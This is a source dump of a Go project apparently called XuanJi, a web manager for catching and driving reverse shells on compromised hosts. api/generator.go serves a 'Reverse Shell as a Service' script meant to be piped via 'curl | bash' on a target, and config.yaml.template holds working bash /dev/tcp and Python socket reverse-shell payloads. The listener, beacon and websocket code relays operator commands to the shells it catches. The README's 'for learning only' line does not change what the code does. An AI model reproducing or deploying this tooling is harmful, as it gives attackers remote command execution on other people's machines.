├── .gitignore
├── .gitmodules
├── README.MD
├── api
├── beacon.go
├── generator.go
├── listener.go
├── token.go
└── ws
│ ├── beacon.go
│ ├── billboard.go
│ └── ws.go
├── config.yaml.template
├── config
├── beacon.go
├── config.go
└── ws.go
├── core
├── config.go
├── logger.go
└── server.go
├── dist
├── favicon.ico
├── index.html
└── static
│ ├── css
│ ├── app.e4517e02.css
│ ├── chunk-001789ef.27e4ac3e.css
│ └── chunk-vendors.4ee5042d.css
│ └── js
│ ├── app.c47c3b2f.js
│ ├── app.c47c3b2f.js.map
│ ├── chunk-001789ef.47997a40.js
│ ├── chunk-001789ef.47997a40.js.map
│ ├── chunk-vendors.25672243.js
│ └── chunk-vendors.25672243.js.map
├── global
├── global.go
├── response
│ └── response.go
└── typing
│ ├── beacon.go
│ ├── hub.go
│ ├── jwt.go
│ └── request.go
├── go.mod
├── go.sum
├── initialize
├── beacon.go
├── hub.go
├── listener.go
└── router.go
├── main.go
├── makefile
├── manager
├── middleware
└── jwt.go
├── model
├── beacon.go
├── common.go
├── hub.go
└── listener.go
├── router
├── beacon.go
├── billboard.go
├── listener.go
└── token.go
├── service
├── hub.go
└── listener.go
└── util
├── common.go
├── hub.go
├── rule.go
└── shell.go
/.gitignore:
--------------------------------------------------------------------------------
1 | config.yaml
2 | latest_log
3 | *.log
4 | main
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "web"]
2 | path = web
3 | url = git@github.com:EkiXu/XuanJi_Frontend.git
4 |
--------------------------------------------------------------------------------
/README.MD:
--------------------------------------------------------------------------------
1 | # Revershell Manger demo
2 |
3 | ## How to build
4 |
5 | ```bash
6 | #install golang 1.17
7 | make
8 | ```
9 |
10 | ## How to Run
11 |
12 | ```
13 | cp config.yaml
14 | ./manager
15 | ```
16 |
17 | ## For learning only, do not use for illegal purposes.
18 |
--------------------------------------------------------------------------------
/api/beacon.go:
--------------------------------------------------------------------------------
1 | package api
2 |
3 | import (
4 | "net/http"
5 |
6 | "github.com/gin-gonic/gin"
7 | "sh.ieki.xyz/global"
8 | "sh.ieki.xyz/global/response"
9 | "sh.ieki.xyz/util"
10 | )
11 |
12 | func BeaconListAPI(c *gin.Context) {
13 | beaconList, err := util.GetBeaconList(global.SERVER_BEACON_LIST)
14 | if err != nil {
15 | response.FailWithDetail(http.StatusInternalServerError, err.Error(), c)
16 | return
17 | }
18 | response.OkWithData(http.StatusOK, beaconList, c)
19 | return
20 | }
21 |
--------------------------------------------------------------------------------
/api/generator.go:
--------------------------------------------------------------------------------
1 | package api
2 |
3 | import (
4 | "fmt"
5 | "net/http"
6 | "strconv"
7 | "text/template"
8 |
9 | "github.com/gin-gonic/gin"
10 | "sh.ieki.xyz/global"
11 | )
12 |
13 | func GenReverseShellPayloadAPI(c *gin.Context) {
14 | lhost := c.Param("lhost")
15 | lport, err := strconv.Atoi(c.Param("lport"))
16 |
17 | if err != nil {
18 | c.String(http.StatusRequestedRangeNotSatisfiable, "something wrong")
19 | }
20 |
21 | script := `# Reverse Shell as a Service
22 | #
23 | # 1. On Attacker Machine:
24 | # nc -l {{.LPort}}
25 | #
26 | # 2. On The Target Machine:
27 | # curl http://{{.ServerUrl}} | bash
28 | #
29 | # 3. Enjoy it.
30 | `
31 | for _, Payload := range global.SERVER_CONFIG.ReverseShellPayloadList {
32 | script += fmt.Sprintf(`if command -v %s > /dev/null 2>&1; then
33 | %s
34 | exit;
35 | fi
36 | `, Payload.Command, Payload.Payload)
37 | }
38 |
39 | scriptTmpl, _ := template.New("script").Parse(script)
40 |
41 | scriptTmpl.Execute(c.Writer, struct {
42 | ServerUrl string
43 | LHost string
44 | LPort int
45 | }{
46 | ServerUrl: c.Request.Host + c.Request.RequestURI,
47 | LHost: lhost,
48 | LPort: lport,
49 | })
50 | }
51 |
--------------------------------------------------------------------------------
/api/listener.go:
--------------------------------------------------------------------------------
1 | package api
2 |
3 | import (
4 | "fmt"
5 | "net/http"
6 | "time"
7 |
8 | "github.com/gin-gonic/gin"
9 |
10 | "sh.ieki.xyz/global"
11 | "sh.ieki.xyz/global/response"
12 | "sh.ieki.xyz/global/typing"
13 | "sh.ieki.xyz/service"
14 | "sh.ieki.xyz/util"
15 | )
16 |
17 | // @Tags Listener
18 | // @Summary 添加
19 | // @Produce application/json
20 | // @Param data body request.addListenerStruct true "添加监听器接口"
21 | // @Success 200 {string} string "{"success":true,"data":{},"msg":"Register Successfully"}"
22 | // @Router /listener/ [post]
23 | func AddListenerAPI(c *gin.Context) {
24 | var request typing.AddListenerRequestStruct
25 | err := c.ShouldBindJSON(&request)
26 |
27 | if err != nil {
28 | response.FailWithDetail(http.StatusBadRequest, err.Error(), c)
29 | return
30 | }
31 |
32 | newListener, err := service.AddListener(request.Name, request.LHOST, request.LPORT)
33 | if err != nil {
34 | response.FailWithDetail(http.StatusBadRequest, err.Error(), c)
35 | global.SERVER_LOG.Error(err)
36 | return
37 | }
38 | global.SERVER_WS_HUB.BroadcastWSData(typing.WSData{Timestamp: time.Now().UnixNano() / 1e6, Sender: "server", Type: "listener", Data: *newListener, Detail: fmt.Sprintf("Start Listening At %s:%d", newListener.Host, newListener.Port)})
39 | response.OkWithData(http.StatusCreated, *newListener, c)
40 | }
41 |
42 | func ListenerListAPI(c *gin.Context) {
43 | listenerList, err := util.GetListenerList(global.SERVER_LISTENER_LIST)
44 | if err != nil {
45 | response.FailWithDetail(http.StatusInternalServerError, err.Error(), c)
46 | return
47 | }
48 | response.OkWithData(http.StatusOK, listenerList, c)
49 | return
50 | }
51 |
--------------------------------------------------------------------------------
/api/token.go:
--------------------------------------------------------------------------------
1 | package api
2 |
3 | import (
4 | "crypto/md5"
5 | "fmt"
6 | "net/http"
7 | "time"
8 |
9 | "github.com/dgrijalva/jwt-go"
10 | "github.com/gin-gonic/gin"
11 | "sh.ieki.xyz/global"
12 | "sh.ieki.xyz/global/response"
13 | "sh.ieki.xyz/global/typing"
14 | "sh.ieki.xyz/middleware"
15 | )
16 |
17 | // @Tags Listener
18 | // @Summary 添加
19 | // @Produce application/json
20 | // @Param data body request.addListenerStruct true "添加监听器接口"
21 | // @Success 200 {string} string "{"success":true,"data":{},"msg":"Register Successfully"}"
22 | // @Router /listener/ [post]
23 | func LoginAPI(c *gin.Context) {
24 | var request typing.LoginRequestStruct
25 | err := c.ShouldBindJSON(&request)
26 |
27 | if err != nil {
28 | response.FailWithDetail(http.StatusBadRequest, err.Error(), c)
29 | return
30 | }
31 |
32 | has := md5.Sum([]byte(request.Password))
33 | hasHex := fmt.Sprintf("%x", has)
34 |
35 | if hasHex == global.SERVER_CONFIG.Auth.PasswordHash {
36 | tokenNext(c, request.Username)
37 | return
38 | }
39 |
40 | response.FailWithDetail(http.StatusForbidden, "Wrong Password", c)
41 | }
42 |
43 | // 登录以后签发jwt
44 | func tokenNext(c *gin.Context, username string) {
45 | j := &middleware.JWT{
46 | SigningKey: []byte(global.SERVER_CONFIG.Auth.JWTKey), // 唯一签名
47 | }
48 | claims := typing.CustomClaims{
49 | Name: username,
50 | StandardClaims: jwt.StandardClaims{
51 | NotBefore: time.Now().Unix() - 1000, // 签名生效时间
52 | ExpiresAt: time.Now().Unix() + 60*60*24*7, // 过期时间 一周
53 | Issuer: "Xuanji", // 签名的发行者
54 | },
55 | }
56 | token, err := j.CreateToken(claims)
57 | if err != nil {
58 | response.FailWithDetail(http.StatusInternalServerError, "Failed to get token", c)
59 | return
60 | }
61 | response.OkWithData(http.StatusCreated, typing.LoginResponseStruct{
62 | Username: username,
63 | AccessToken: token,
64 | ExpiresAt: claims.StandardClaims.ExpiresAt * 1000,
65 | }, c)
66 | return
67 | }
68 |
--------------------------------------------------------------------------------
/api/ws/beacon.go:
--------------------------------------------------------------------------------
1 | package ws
2 |
3 | import (
4 | "errors"
5 |
6 | "github.com/gin-gonic/gin"
7 | "sh.ieki.xyz/global"
8 | "sh.ieki.xyz/global/typing"
9 | "sh.ieki.xyz/middleware"
10 | "sh.ieki.xyz/model"
11 | "sh.ieki.xyz/util"
12 | )
13 |
14 | /*
15 | func DemoWSAPI(c *gin.Context) {
16 | wsConn, err := wsupgrader.Upgrade(c.Writer, c.Request, nil)
17 | if err != nil {
18 | global.SERVER_LOG.Errorf("failed to set websocket upgrade: %+v", err)
19 | return
20 | }
21 | defer wsConn.Close()
22 |
23 | listenerName, exist := c.GetQuery("name")
24 |
25 | if exist == false {
26 | return
27 | }
28 |
29 | listener, err := util.GetListener(global.SERVER_LISTENER_LIST, model.Listener{Name: listenerName})
30 |
31 | if err != nil {
32 | global.SERVER_LOG.Error(err)
33 | return
34 | }
35 |
36 | //listener.ServeWsConn(wsConn)
37 |
38 | //defer listener.StopServeWsConn(wsConn)
39 |
40 | for {
41 | var wsMsg typing.ShData
42 | err := wsConn.ReadJSON(&wsMsg)
43 | if err != nil {
44 | global.SERVER_LOG.Debug(err)
45 | break
46 | }
47 | global.SERVER_LOG.Debugf("ReceiveInput %v", wsMsg)
48 |
49 | if wsMsg.Type == "cmd" {
50 | err := listener.ServeWsCmdInput(wsConn, wsMsg.Data)
51 | if err != nil {
52 | global.SERVER_LOG.Debug(err)
53 | wsConn.WriteJSON(typing.ShData{Type: "error", Data: err.Error()})
54 | }
55 | }
56 | }
57 | }*/
58 |
59 | func BeaconWSAPI(c *gin.Context) {
60 | wsConn, err := wsupgrader.Upgrade(c.Writer, c.Request, nil)
61 |
62 | if err != nil {
63 | global.SERVER_LOG.Errorf("failed to set websocket upgrade: %+v", err)
64 | return
65 | }
66 | defer func() {
67 | if err != nil {
68 | wsConn.WriteJSON(typing.ShData{Type: "error", Data: err.Error()})
69 | wsConn.Close()
70 | }
71 | }()
72 |
73 | beaconName, isset := c.GetQuery("name")
74 |
75 | if !isset {
76 | err = errors.New("username required")
77 | return
78 | }
79 |
80 | var wsMsg typing.ShData
81 | err = wsConn.ReadJSON(&wsMsg)
82 |
83 | if wsMsg.Type != "auth" {
84 | err = errors.New("authentication required")
85 | return
86 | }
87 |
88 | jwt := middleware.NewJWT()
89 | _, err = jwt.ParseToken(wsMsg.Data)
90 |
91 | if err != nil {
92 | return
93 | }
94 |
95 | beacon, err := util.GetBeacon(global.SERVER_BEACON_LIST, model.Beacon{Name: beaconName})
96 |
97 | if err != nil {
98 | return
99 | }
100 |
101 | for {
102 |
103 | err := wsConn.ReadJSON(&wsMsg)
104 | if err != nil {
105 | global.SERVER_LOG.Debug(err)
106 | break
107 | }
108 | //global.SERVER_LOG.Debugf("ReceiveInput %v", wsMsg)
109 |
110 | if wsMsg.Type == "cmd" {
111 | err := beacon.ServeShDataInput(wsMsg, wsConn)
112 | if err != nil {
113 | global.SERVER_LOG.Debug(err)
114 | wsConn.WriteJSON(typing.ShData{Type: "error", Data: err.Error()})
115 | }
116 | }
117 | }
118 | }
119 |
--------------------------------------------------------------------------------
/api/ws/billboard.go:
--------------------------------------------------------------------------------
1 | package ws
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 |
7 | "github.com/gin-gonic/gin"
8 | "sh.ieki.xyz/global"
9 | "sh.ieki.xyz/middleware"
10 | "sh.ieki.xyz/model"
11 |
12 | "sh.ieki.xyz/global/typing"
13 | )
14 |
15 | func BillboardWSAPI(c *gin.Context) {
16 | wsConn, err := wsupgrader.Upgrade(c.Writer, c.Request, nil)
17 | if err != nil {
18 | global.SERVER_LOG.Errorf("failed to set websocket upgrade: %+v", err)
19 | return
20 | }
21 |
22 | defer func() {
23 | if err != nil {
24 | global.SERVER_LOG.Debugf("Error %+v", err)
25 | wsConn.WriteJSON(typing.WSData{Timestamp: model.GetNowTimeStamp(), Sender: "server", Type: "user", Detail: err.Error()})
26 | wsConn.Close()
27 | }
28 | }()
29 |
30 | username, isset := c.GetQuery("name")
31 |
32 | if !isset {
33 | err = errors.New("name required")
34 | return
35 | }
36 |
37 | if err != nil {
38 | global.SERVER_LOG.Error(err)
39 | return
40 | }
41 |
42 | var wsMsg typing.ShData
43 | err = wsConn.ReadJSON(&wsMsg)
44 |
45 | if err != nil {
46 | return
47 | }
48 |
49 | if wsMsg.Type != "auth" {
50 | err = errors.New("authentication required")
51 | return
52 | }
53 |
54 | jwt := middleware.NewJWT()
55 | claim, err := jwt.ParseToken(wsMsg.Data)
56 |
57 | if err != nil {
58 | return
59 | }
60 |
61 | if username != claim.Name {
62 | return
63 | }
64 |
65 | //listener.ServeWsConn(wsConn)
66 |
67 | //defer listener.StopServeWsConn(wsConn)
68 |
69 | user := &model.User{}
70 |
71 | user.Construct(global.SERVER_WS_HUB.(*model.Hub), username, wsConn)
72 |
73 | user.Hub.Register <- user
74 |
75 | user.Hub.BroadcastWSData(typing.WSData{Sender: "server", Type: "user", Detail: fmt.Sprintf("User %s joined in", username)})
76 |
77 | go user.ReadPump()
78 | go user.WritePump()
79 | }
80 |
--------------------------------------------------------------------------------
/api/ws/ws.go:
--------------------------------------------------------------------------------
1 | package ws
2 |
3 | import (
4 | "net/http"
5 |
6 | "github.com/gorilla/websocket"
7 | )
8 |
9 | var wsupgrader = websocket.Upgrader{
10 | ReadBufferSize: 1024,
11 | WriteBufferSize: 1024,
12 | CheckOrigin: func(r *http.Request) bool {
13 | return true
14 | },
15 | }
16 |
--------------------------------------------------------------------------------
/config.yaml.template:
--------------------------------------------------------------------------------
1 | # Server Global Configuration
2 | # system configuration
3 | system:
4 | env: 'public'
5 | addr: 8668
6 |
7 | # jwt configuration
8 | auth:
9 | jwtkey: 'modifyityourself'
10 | password-hash: '74819dbcab8fbc951a670cd7e72c82e8' #md5 hash default: eki@sh
11 |
12 | # logger configuration
13 | log:
14 | prefix: '[Server]'
15 | log-file: true
16 | stdout: 'DEBUG'
17 | file: 'DEBUG'
18 |
19 | reverse-shell-payloads:
20 | -
21 | command: 'bash'
22 | payload: '/bin/bash -i >& /dev/tcp/{{.LHost}}/{{.LPort}} 0>&1'
23 | -
24 | command: 'python'
25 | payload: 'python -c ''import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("{{.LHost}}",{{.LPort}})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'''
--------------------------------------------------------------------------------
/config/beacon.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import "time"
4 |
5 | const (
6 | // Time allowed to write a message to the peer.
7 | BC_Write_Wait = 10 * time.Second
8 |
9 | BC_CMD_Wait = 10 * time.Second
10 |
11 | BC_CMD_Reset_Wait = 1 * time.Second
12 |
13 | // Time allowed to read the next pong message from the peer.
14 | BC_Pong_Wait = 60 * time.Second
15 |
16 | // Send pings to peer with this period. Must be less than pongWait.
17 | BC_Ping_Period = (BC_Pong_Wait * 9) / 10
18 |
19 | // Maximum message size allowed from peer.
20 | BC_Max_Message_Size = 2048
21 | )
22 |
--------------------------------------------------------------------------------
/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | type Server struct {
4 | System System `mapstructure:"system" json:"system" yaml:"system"`
5 | Log Log `mapstructure:"log" json:"log" yaml:"log"`
6 | ReverseShellPayloadList []ReverseShellPayload `mapstructure:"reverse-shell-payloads" json:"ReverseShellPayloads" yaml:"reverse-shell-payloads"`
7 | Auth Auth `mapstructure:"auth" json:"auth" yaml:"auth"`
8 | }
9 |
10 | type System struct {
11 | Env string `mapstructure:"env" json:"env" yaml:"env"`
12 | Addr int `mapstructure:"addr" json:"addr" yaml:"addr"`
13 | }
14 |
15 | type Log struct {
16 | Prefix string `mapstructure:"prefix" json:"prefix" yaml:"prefix"`
17 | LogFile bool `mapstructure:"log-file" json:"logFile" yaml:"log-file"`
18 | Stdout string `mapstructure:"stdout" json:"stdout" yaml:"stdout"`
19 | File string `mapstructure:"file" json:"file" yaml:"file"`
20 | }
21 |
22 | type ReverseShellPayload struct {
23 | Command string `mapstructure:"command" json:"command" yaml:"command"`
24 | Payload string `mapstructure:"payload" json:"payload" yaml:"payload"`
25 | }
26 |
27 | type Auth struct {
28 | PasswordHash string `mapstructure:"password-hash" json:"password_hash" yaml:"password-hash"`
29 | JWTKey string `mapstructure:"jwtkey" json:"jwtkey" yaml:"jwtkey"`
30 | }
31 |
--------------------------------------------------------------------------------
/config/ws.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import "time"
4 |
5 | const (
6 | // Time allowed to write a message to the peer.
7 | WS_Write_Wait = 10 * time.Second
8 |
9 | // Time allowed to read the next pong message from the peer.
10 | WS_Pong_Wait = 60 * time.Second
11 |
12 | // Send pings to peer with this period. Must be less than pongWait.
13 | WS_Ping_Period = (WS_Pong_Wait * 9) / 10
14 |
15 | // Maximum message size allowed from peer.
16 | WS_Max_Message_Size = 512
17 | )
18 |
--------------------------------------------------------------------------------
/core/config.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "sh.ieki.xyz/global"
5 | "fmt"
6 |
7 | "github.com/fsnotify/fsnotify"
8 | "github.com/spf13/viper"
9 | )
10 |
11 | const defaultConfigFile = "config.yaml"
12 |
13 | func init() {
14 | v := viper.New()
15 | v.SetConfigFile(defaultConfigFile)
16 | err := v.ReadInConfig()
17 | if err != nil {
18 | panic(fmt.Errorf("fatal error config file: %s", err))
19 | }
20 | v.WatchConfig()
21 |
22 | v.OnConfigChange(func(e fsnotify.Event) {
23 | fmt.Println("config file changed:", e.Name)
24 | if err := v.Unmarshal(&global.SERVER_CONFIG); err != nil {
25 | fmt.Println(err)
26 | }
27 | })
28 | if err := v.Unmarshal(&global.SERVER_CONFIG); err != nil {
29 | fmt.Println(err)
30 | }
31 | global.SERVER_VP = v
32 | }
33 |
--------------------------------------------------------------------------------
/core/logger.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | "os"
7 | "strings"
8 | "time"
9 |
10 | "sh.ieki.xyz/config"
11 | "sh.ieki.xyz/global"
12 | "sh.ieki.xyz/util"
13 |
14 | rotatelogs "github.com/lestrrat/go-file-rotatelogs"
15 | oplogging "github.com/op/go-logging"
16 | )
17 |
18 | const (
19 | logDir = "log"
20 | logSoftLink = "latest_log"
21 | module = "sh.ieki.xyz"
22 | )
23 |
24 | var (
25 | defaultFormatter = `%{time:2006/01/02 - 15:04:05.000} %{longfile} %{color:bold}▶ [%{level:.6s}] %{message}%{color:reset}`
26 | )
27 |
28 | func init() {
29 | c := global.SERVER_CONFIG.Log
30 | if c.Prefix == "" {
31 | _ = fmt.Errorf("logger prefix not found")
32 | }
33 | logger := oplogging.MustGetLogger(module)
34 | var backends []oplogging.Backend
35 | backends = registerStdout(c, backends)
36 | backends = registerFile(c, backends)
37 |
38 | oplogging.SetBackend(backends...)
39 | global.SERVER_LOG = logger
40 | }
41 |
42 | func registerStdout(c config.Log, backends []oplogging.Backend) []oplogging.Backend {
43 | if c.Stdout != "" {
44 | level, err := oplogging.LogLevel(c.Stdout)
45 | if err != nil {
46 | fmt.Println(err)
47 | }
48 | backends = append(backends, createBackend(os.Stdout, c, level))
49 | }
50 |
51 | return backends
52 | }
53 |
54 | func registerFile(c config.Log, backends []oplogging.Backend) []oplogging.Backend {
55 | if c.File != "" {
56 | if ok, _ := util.PathExists(logDir); !ok {
57 | // directory not exist
58 | fmt.Println("create log directory")
59 | _ = os.Mkdir(logDir, os.ModePerm)
60 | }
61 | fileWriter, err := rotatelogs.New(
62 | logDir+string(os.PathSeparator)+"%Y-%m-%d-%H-%M.log",
63 | // generate soft link, point to latest log file
64 | rotatelogs.WithLinkName(logSoftLink),
65 | // maximum time to save log files
66 | rotatelogs.WithMaxAge(7*24*time.Hour),
67 | // time period of log file switching
68 | rotatelogs.WithRotationTime(24*time.Hour),
69 | )
70 | if err != nil {
71 | fmt.Println(err)
72 | return backends
73 | }
74 | level, err := oplogging.LogLevel(c.File)
75 | if err != nil {
76 | fmt.Println(err)
77 | }
78 | backends = append(backends, createBackend(fileWriter, c, level))
79 | }
80 |
81 | return backends
82 | }
83 |
84 | func createBackend(w io.Writer, c config.Log, level oplogging.Level) oplogging.Backend {
85 | backend := oplogging.NewLogBackend(w, c.Prefix, 0)
86 | stdoutWriter := false
87 | if w == os.Stdout {
88 | stdoutWriter = true
89 | }
90 | format := getLogFormatter(c, stdoutWriter)
91 | backendLeveled := oplogging.AddModuleLevel(oplogging.NewBackendFormatter(backend, format))
92 | backendLeveled.SetLevel(level, module)
93 | return backendLeveled
94 | }
95 |
96 | func getLogFormatter(c config.Log, stdoutWriter bool) oplogging.Formatter {
97 | pattern := defaultFormatter
98 | if !stdoutWriter {
99 | // Color is only required for console output
100 | // Other writers don't need %{color} tag
101 | pattern = strings.Replace(pattern, "%{color:bold}", "", -1)
102 | pattern = strings.Replace(pattern, "%{color:reset}", "", -1)
103 | }
104 | if !c.LogFile {
105 | // Remove %{logfile} tag
106 | pattern = strings.Replace(pattern, "%{longfile}", "", -1)
107 | }
108 | return oplogging.MustStringFormatter(pattern)
109 | }
110 |
--------------------------------------------------------------------------------
/core/server.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "fmt"
5 | "net/http"
6 | "time"
7 |
8 | "sh.ieki.xyz/global"
9 | "sh.ieki.xyz/initialize"
10 | )
11 |
12 | func RunServer() {
13 | Router := initialize.RouterInit()
14 | initialize.ListenerInit()
15 | initialize.HubInit()
16 | initialize.BeaconListInit()
17 |
18 | address := fmt.Sprintf(":%d", global.SERVER_CONFIG.System.Addr)
19 | s := &http.Server{
20 | Addr: address,
21 | Handler: Router,
22 | ReadTimeout: 10 * time.Second,
23 | WriteTimeout: 10 * time.Second,
24 | MaxHeaderBytes: 1 << 20,
25 | }
26 | // 保证文本顺序输出
27 | // In order to ensure that the text order output can be deleted
28 | time.Sleep(10 * time.Microsecond)
29 | global.SERVER_LOG.Debug("server run success on ", address)
30 |
31 | global.SERVER_LOG.Error(s.ListenAndServe())
32 | }
33 |
--------------------------------------------------------------------------------
/dist/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EkiXu/reverse-shell-manager/14ece87c753fcdc980ed29e7c78971a6bbcf3e34/dist/favicon.ico
--------------------------------------------------------------------------------
/dist/index.html:
--------------------------------------------------------------------------------
1 |
web
--------------------------------------------------------------------------------
/dist/static/css/app.e4517e02.css:
--------------------------------------------------------------------------------
1 | *{margin:0}.sidebar{overflow:auto;height:100vh;position:fixed!important;left:0}.sidebar .side-menu{margin-top:60px}.logo[data-v-137f42ed]{float:left}.logo[data-v-137f42ed],.user-info[data-v-137f42ed]{width:126px;height:31px;margin:16px 24px 16px 0;text-align:center;line-height:32px;font-size:26px;font-weight:700;color:hsla(0,0%,100%,.76)}.user-info[data-v-137f42ed]{float:right}.topbar[data-v-137f42ed]{position:fixed;z-index:1;width:100%}.console[data-v-099c5912]{height:100%;width:100%}.billboard{min-height:240px;min-width:600px}.float-btn{position:fixed;bottom:24px;right:24px}.page .container[data-v-0bc51803]{height:90vh}.page .container .login-panel[data-v-0bc51803]{height:100%}
--------------------------------------------------------------------------------
/dist/static/css/chunk-001789ef.27e4ac3e.css:
--------------------------------------------------------------------------------
1 | .console[data-v-57689eda]{height:100%;width:100%}.ant-input-number{box-sizing:border-box;font-variant:tabular-nums;list-style:none;font-feature-settings:"tnum";position:relative;width:100%;padding:4px 11px;color:rgba(0,0,0,.85);font-size:14px;line-height:1.5715;background-color:#fff;background-image:none;transition:all .3s;display:inline-block;width:90px;margin:0;padding:0;border:1px solid #d9d9d9;border-radius:2px}.ant-input-number::-moz-placeholder{color:#bfbfbf;opacity:1}.ant-input-number:-ms-input-placeholder{color:#bfbfbf}.ant-input-number::-webkit-input-placeholder{color:#bfbfbf}.ant-input-number:-moz-placeholder-shown{text-overflow:ellipsis}.ant-input-number:-ms-input-placeholder{text-overflow:ellipsis}.ant-input-number:placeholder-shown{text-overflow:ellipsis}.ant-input-number:focus{border-color:#40a9ff;border-right-width:1px!important;outline:0;box-shadow:0 0 0 2px rgba(24,144,255,.2)}.ant-input-number[disabled]{color:rgba(0,0,0,.25);background-color:#f5f5f5;cursor:not-allowed;opacity:1}.ant-input-number[disabled]:hover{border-color:#d9d9d9;border-right-width:1px!important}textarea.ant-input-number{max-width:100%;height:auto;min-height:32px;line-height:1.5715;vertical-align:bottom;transition:all .3s,height 0s}.ant-input-number-lg{padding:6.5px 11px}.ant-input-number-sm{padding:0 7px}.ant-input-number-handler{position:relative;display:block;width:100%;height:50%;overflow:hidden;color:rgba(0,0,0,.45);font-weight:700;line-height:0;text-align:center;transition:all .1s linear}.ant-input-number-handler:active{background:#f4f4f4}.ant-input-number-handler:hover .ant-input-number-handler-down-inner,.ant-input-number-handler:hover .ant-input-number-handler-up-inner{color:#40a9ff}.ant-input-number-handler-down-inner,.ant-input-number-handler-up-inner{display:inline-block;color:inherit;font-style:normal;line-height:0;text-align:center;text-transform:none;vertical-align:-.125em;text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;position:absolute;right:4px;width:12px;height:12px;color:rgba(0,0,0,.45);line-height:12px;transition:all .1s linear;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ant-input-number-handler-down-inner>*,.ant-input-number-handler-up-inner>*{line-height:1}.ant-input-number-handler-down-inner svg,.ant-input-number-handler-up-inner svg{display:inline-block}.ant-input-number-handler-down-inner:before,.ant-input-number-handler-up-inner:before{display:none}.ant-input-number-handler-down-inner .ant-input-number-handler-down-inner-icon,.ant-input-number-handler-down-inner .ant-input-number-handler-up-inner-icon,.ant-input-number-handler-up-inner .ant-input-number-handler-down-inner-icon,.ant-input-number-handler-up-inner .ant-input-number-handler-up-inner-icon{display:block}.ant-input-number-focused,.ant-input-number:hover{border-color:#40a9ff;border-right-width:1px!important}.ant-input-number-focused{outline:0;box-shadow:0 0 0 2px rgba(24,144,255,.2)}.ant-input-number-disabled{color:rgba(0,0,0,.25);background-color:#f5f5f5;cursor:not-allowed;opacity:1}.ant-input-number-disabled:hover{border-color:#d9d9d9;border-right-width:1px!important}.ant-input-number-disabled .ant-input-number-input{cursor:not-allowed}.ant-input-number-disabled .ant-input-number-handler-wrap{display:none}.ant-input-number-input{width:100%;height:30px;padding:0 11px;text-align:left;background-color:transparent;border:0;border-radius:2px;outline:0;transition:all .3s linear;-moz-appearance:textfield!important}.ant-input-number-input::-moz-placeholder{color:#bfbfbf;opacity:1}.ant-input-number-input:-ms-input-placeholder{color:#bfbfbf}.ant-input-number-input::-webkit-input-placeholder{color:#bfbfbf}.ant-input-number-input:-moz-placeholder-shown{text-overflow:ellipsis}.ant-input-number-input:-ms-input-placeholder{text-overflow:ellipsis}.ant-input-number-input:placeholder-shown{text-overflow:ellipsis}.ant-input-number-input[type=number]::-webkit-inner-spin-button,.ant-input-number-input[type=number]::-webkit-outer-spin-button{margin:0;-webkit-appearance:none}.ant-input-number-lg{padding:0;font-size:16px}.ant-input-number-lg input{height:38px}.ant-input-number-sm{padding:0}.ant-input-number-sm input{height:22px;padding:0 7px}.ant-input-number-handler-wrap{position:absolute;top:0;right:0;width:22px;height:100%;background:#fff;border-left:1px solid #d9d9d9;border-radius:0 2px 2px 0;opacity:0;transition:opacity .24s linear .1s}.ant-input-number-handler-wrap .ant-input-number-handler .ant-input-number-handler-down-inner,.ant-input-number-handler-wrap .ant-input-number-handler .ant-input-number-handler-up-inner{display:inline-block;font-size:12px;font-size:7px\9;transform:scale(.58333333) rotate(0deg);min-width:auto;margin-right:0}:root .ant-input-number-handler-wrap .ant-input-number-handler .ant-input-number-handler-down-inner,:root .ant-input-number-handler-wrap .ant-input-number-handler .ant-input-number-handler-up-inner{font-size:12px}.ant-input-number-handler-wrap:hover .ant-input-number-handler{height:40%}.ant-input-number:hover .ant-input-number-handler-wrap{opacity:1}.ant-input-number-handler-up{border-top-right-radius:2px;cursor:pointer}.ant-input-number-handler-up-inner{top:50%;margin-top:-5px;text-align:center}.ant-input-number-handler-up:hover{height:60%!important}.ant-input-number-handler-down{top:0;border-top:1px solid #d9d9d9;border-bottom-right-radius:2px;cursor:pointer}.ant-input-number-handler-down-inner{top:50%;margin-top:-6px;text-align:center}.ant-input-number-handler-down:hover{height:60%!important}.ant-input-number-handler-down-disabled,.ant-input-number-handler-up-disabled{cursor:not-allowed}.ant-input-number-handler-down-disabled:hover .ant-input-number-handler-down-inner,.ant-input-number-handler-up-disabled:hover .ant-input-number-handler-up-inner{color:rgba(0,0,0,.25)}.contianer[data-v-3daf4eb4]{margin:24px 16px;padding:24px;min-height:280px}.listener-panel[data-v-3daf4eb4]{margin-top:24px}
--------------------------------------------------------------------------------
/dist/static/js/app.c47c3b2f.js:
--------------------------------------------------------------------------------
